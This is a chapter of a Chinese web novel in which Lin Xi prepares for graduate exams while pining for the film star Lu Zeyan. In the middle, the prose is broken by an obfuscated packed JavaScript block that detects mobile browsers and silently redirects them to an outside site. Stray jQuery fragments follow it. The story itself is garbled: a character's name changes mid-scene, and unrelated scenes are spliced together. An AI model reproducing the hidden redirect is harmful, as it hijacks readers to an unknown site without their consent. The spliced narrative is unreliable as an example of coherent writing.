可现在，她却连见他一面的勇气都没有。手机屏幕亮了一下，是隔壁班刘思雨发来的微信：“看新闻了吗？陆泽言三获影帝了!这有一段他的采访。”刘思雨和他一样是陆泽言的粉丝，两人每每聊起陆泽言都说他是“叔圈天菜”。


    林溪没回，点开刘思雨发来的采访链接。视频里的陆泽言坐在沙发上，穿着简单的灰色毛衣，手里捧着个马克杯。


    镜头扫过他的手腕，银手链在灯光下闪了一下。林溪的心脏猛地一缩，像被那道光烫了一下，眼泪毫无预兆地掉在手机屏幕上，晕开了他温柔的眉眼。


    她关掉视频，把手机扔到一边，却在黑暗里睁着眼，直到天快亮才迷糊睡去。梦里又是青溪镇的石板路，陆泽言穿着白衬衫靠在老槐树下，手里拿着本《演员的自我修养》，风掀起书页，露出夹在里面的话剧团宣传单——是1996年她发现的那一张，边角都磨圆了。


    “溪溪，过来。”他冲她招手，笑容干净得像雨后的天空。


    林溪跑过去，想抓住他的手，却扑了个空。他的身影渐渐变得透明，像被风吹散的烟，只留下声音在耳边回响：“我等你来找我，用不了多久。”


    她惊醒时，枕头已经湿了一片。窗外的天刚蒙蒙亮，食堂的炊烟顺着窗户缝钻进来，带着淡淡的包子香味，是她在音乐学院吃了四年的味道，却突然让她想起沈曼青做的葱油饼，刚出锅时酥得掉渣，葱香能飘满整条街。


    “不能再这样下去了。”林溪对着镜子里的自己说，眼底的红血丝像蛛网，“考研，去京城。”


    她报考的是京城电影学院的艺术学理论专业。做出这个决定时，教导员皱着眉翻看她的成绩单：“你在音乐创作上很有天赋，为什么突然转去学理论？还要跨校考京城电影学院？”


    林溪捏着笔，在报名表上写下自己的名字，笔尖划破了纸页：“我想……多学些东西。”她没说真正的原因——京城电影学院在海淀区也是陆泽言曾经向往的地方，离陆泽言的工作室只有三站地铁。她不敢直接去找他，只能用这种笨拙的方式，一点点靠近他的世界。


    备考的日子像场漫长的马拉松。林溪把所有关于陆泽言的东西都收进了柜子最深处：采访视频、电影海报、刘思雨发来的消息截图，还有那个梧桐木盒，被她用旧围巾裹了三层，生怕不小心看到，就会泄了气。


    她每天第一个到图书馆，占个靠窗的位置，面前堆着《艺术概论》《电影美学》《西方现代派文学史》，厚厚的书脊像堵墙，把她和外面的世界隔开。中午啃个面包，下午继续刷题，晚上回宿舍后，还要对着电脑看陆泽言的电影，不是为了追星，是为了写影评分析，当作理论练习。


    看《京华烟云》时，她盯着屏幕里那个沉默寡言的民国公子，看他在雨中抱着爱人的墓碑，眼泪砸在青石板上的样子，突然想起他在自己墓前的模样，是不是也这样呢？肩膀绷得像根弦，却不肯让眼泪掉下来。她按下暂停键，趴在桌子上哭了很久，直到潇潇回来，以为她是考研压力太大，塞给她块巧克力：“吃点甜的就好了，你看你，瘦得下巴都尖了。”


    巧克力的甜腻在舌尖化开，却抵不过心里的涩。十月底的某天，林溪去打印店取复习资料，路过校门口的报刊亭时，被一张海报吸引住了。是陆泽言新电影的宣传照，他穿着军装，眼神坚毅。


    报刊亭的大爷见她盯着海报看，笑着说：“这小伙子演得真好，昨天我家老婆子还看他的电影哭了呢。”


    新闻里突然出现了林浩的身影。他穿着件蓝色工装，正在帮陆泽言搬琴凳，两人对视一眼，没说话，却默契地一起把琴凳摆到钢琴前。林浩比记忆中沧桑了些，鬓角有了白发，却比在京城时平和了许多，嘴角甚至带着点浅浅的笑意。


    新闻结束时，记者说林浩自己捐钱办了一所音乐学校，教孩子们弹钢琴。林溪的眼泪又掉了下来，这次却带着点释然。原来林浩也在用自己的方式赎罪，用那些黑白琴键，弹奏着迟到的歉意。


    回到图书馆，林溪在笔记本上写下：“真正的和解，不是遗忘，是带着回忆继续走。”笔尖划过纸页，发出沙沙的声响。


    考研倒计时牌上的数字一天天减少，林溪的头发掉得越来越多，每次梳头发，梳子上都缠着一小团，像揉碎的蒲公英。潇潇心疼她，把家里寄来的阿胶糕塞给她：“你再这样熬下去，等考上研也成秃子了。”林溪笑着接过，却在转身时红了眼眶，她的头发~~~~


    平安夜那天，图书馆闭馆早。林溪抱着书往宿舍走，路过校门口的圣诞树时，看到有人在卖烤红薯，甜香弥漫在冷空气中，像只温暖的手，轻轻挠着她的心尖。


    “阿姨，要个最大的。”她递过钱，指尖冻得发红。


    手机突然响了，是个陌生号码，归属地是京城。林溪犹豫了一下，接了起来，听筒里传来个熟悉的声音，带着点试探：“溪溪？是我，刘思雨。”


    “思雨？”林溪有些惊讶，“怎么是你？”


    “我听说你毕业了没找工作，在准备考研啊？”李婷的声音带着兴奋，“我在京城找到了份工作，什么时候约见面啊？”


    见面的地方在学校附近的咖啡馆。刘思雨穿着干练的职业装，化着精致的妆：“你瘦了好多，溪溪，是不是太辛苦了？”。


    林溪勉强笑了笑，把烤红薯的袋子攥得更紧了些：“还好，就是压力有点大。”她低头喝了口咖啡，苦涩的味道在舌尖蔓延，却比不上心里的复杂情绪。


    “你还不知道吧？”刘思雨忽然压低声音，眼神里闪过一丝神秘，“陆泽言最近在筹备新戏，我们公司有给这部戏投资！”


    林溪的手指微微颤抖，咖啡杯碰到碟子发出轻微的响声。她努力让自己的声音听起来平静：“是吗？”


    “下周五他在朝阳剧院有个小型路演，说是为新戏预热，要不要去看看？”刘思雨从包里拿出两张票，“我多抢了一张。”


    林溪盯着那两张票，喉咙像被什么堵住了。二十年了，陆泽言还记得她吗？机会真的摆在面前，林溪心跳不受控制地加速。


    “我...”她刚要开口，手机突然震动起来。是考研报名确认的信息弹窗，提醒她最后确认时间就在今晚。


    "没关系，你要是不方便就算了。"刘思雨似乎察觉到了她的犹豫，"我可以去粉丝会约别人。"


    林溪还是去了，她最终还是点了头，声音轻得像一片羽毛飘落：“好，我去。”说出这句话时，她的手心已经满是汗，仿佛做出这个决定耗尽了全身的力气。


    刘思雨露出欣喜的笑容，把票塞进林溪手里：“那说定了！到时候我来接你，别迟到啊！”说完，她又叮嘱了几句注意事项，像是怕林溪临时变卦一般。临走前，她拍了拍林溪的肩膀，“别太紧张，就当是看场普通的演出。”


    可这怎么可能普通呢？林溪攥着那张票，指尖几乎要将纸张揉皱。从咖啡馆回宿舍的路上，冷风刮过脸颊，让她稍微清醒了一些，但胸口那股翻涌的情绪却怎么也压不下去。她低头看着手中的票，上面印着的日期和地点刺目得像一道无法忽视的召唤。


    回到宿舍后，林溪坐在床边发呆，目光落在书桌上堆积如山的复习资料上。明天就是考研报名确认的最后期限，而她现在连专业课的重点都还没完全掌握。如果去参加路演，意味着接下来几天的学习计划会被彻底打乱。但如果不抓住这次机会，她又会不会后悔一辈子？


    夜深人静时，她打开手机，重新点开了那段采访视频。陆泽言的声音依旧温柔，带着一种穿越时间的力量直击内心深处。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365634|180507||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    第二天早上醒来时，林溪发现自己枕边湿了一片。窗外的天色灰蒙蒙的，寒意透过窗户缝隙钻进来，但她却感觉不到冷。


    接下来的几天，林溪强迫自己专注于复习，把所有关于陆泽言的事情暂时抛诸脑后。然而，每当她闭上眼睛，脑海中总会浮现出他的身影，那双深邃的眼睛似乎一直注视着她，让她无处可逃。


    周五很快就到了。林溪换上一件简单的白色毛衣，站在镜子前反复整理头发和衣领，试图让自己看起来更自然一些。


    刘思雨准时出现在宿舍楼下，穿着一件红色大衣，整个人看起来神采奕奕。“准备好了吗？”她笑着问，语气里透着掩饰不住的兴奋。


    林溪点点头，跟着她上了车。一路上，刘思雨滔滔不绝地聊着新戏的剧情和陆泽言的表现，而林溪只是默默听着，偶尔附和几句。她知道自己此刻的沉默显得有些格格不入，但那些复杂的情绪早已堵住了她的喉咙，让她一句话也说不出来。


    朝阳剧院门口聚集了不少粉丝，有人举着应援牌，有人拿着荧光棒，还有人高声喊着陆泽言的名字。林溪站在人群中，感觉自己像是一颗被浪潮卷起的小石子，随时可能被冲散。她紧紧捏着手中的票，生怕一松手就会失去它。


    灯光暗下来的时候，全场瞬间安静。舞台中央缓缓升起一道光束，伴随着热烈的掌声，陆泽言的身影出现在众人面前。他穿着一件黑色衬衫，袖口随意挽起，整个人散发着一种沉稳而温暖的气息。


    林溪屏住呼吸，不敢眨眼。那一刻，她觉得自己仿佛回到了青溪镇的老槐树下，耳边只剩下风吹树叶的声音。


    林溪的手指停在那行字上，指腹蹭过纸张边缘的毛边，像触到了1996年陆泽言给她讲题时，草稿纸边缘的粗糙质感。笔记本的纸页泛黄发脆，显然有些年头了，墨水的字迹却依旧清晰，笔锋里藏着他惯有的认真，是她熟悉的样子，连顿笔的弧度都和当年如出一辙。


    “这怎么会在这里？”她喃喃自语，把笔记本凑近鼻尖，闻到一股淡淡的樟脑丸味，像老衣柜里的味道。


    京城电影学院图书馆的落地钟敲了九下，沉闷的声响惊飞了窗台上的麻雀。林溪赶紧把笔记本塞进包里，拉链拉到一半又停住，怕夹到纸页。


    回到座位，新舍友陈佳佳正对着电脑啃面包，面包屑掉在键盘上，像撒了把碎盐。“你去哪了？”她含糊不清地问，指着屏幕上的新闻，“快看，陆泽言捐了批钢琴给山区小学，这觉悟，不愧是我偶像！”


    林溪凑过去看，新闻配图里的陆泽言穿着工装服，正在给钢琴调音，侧脸的线条在阳光下格外柔和。他手里的调音扳手闪着光，动作熟练得不像个影帝。


    林溪的目光在图片上停留了许久，直到陈佳佳推了她一下才回过神来。“你最近怎么总看他的新闻？”陈佳佳打趣道，嘴里还嚼着面包，“他是你偶像对吧？”


    林溪点点头，没有回答。她低头翻开了笔记本的第一页，上面密密麻麻写满了字，有些地方还画着小插图，像是随手涂鸦。最显眼的是右上角的一句话：“艺术源于生活，却高于生活。”这是陆泽言当年在课堂上常挂在嘴边的话。


    “这本子是谁的？”陈佳佳好奇地探头过来。


    林溪犹豫了一下，轻声说：“一个很重要的人。”


    陈佳佳眨眨眼，似乎想继续追问，但看到林溪脸上的神情后便识趣地闭了嘴，转而专注于清理键盘上的面包屑。


    饭后散步地林溪，不自觉的走到了文创园，文创园里夕阳正把天空染成橘子汽水的颜色。陆泽言的工作室在三楼，玻璃幕墙反射着晚霞，像块巨大的调色盘。林溪站在楼下的梧桐树下，看着那扇亮着灯的窗户，手指攥得发白，她知道他就在里面，离她只有几十级台阶的距离。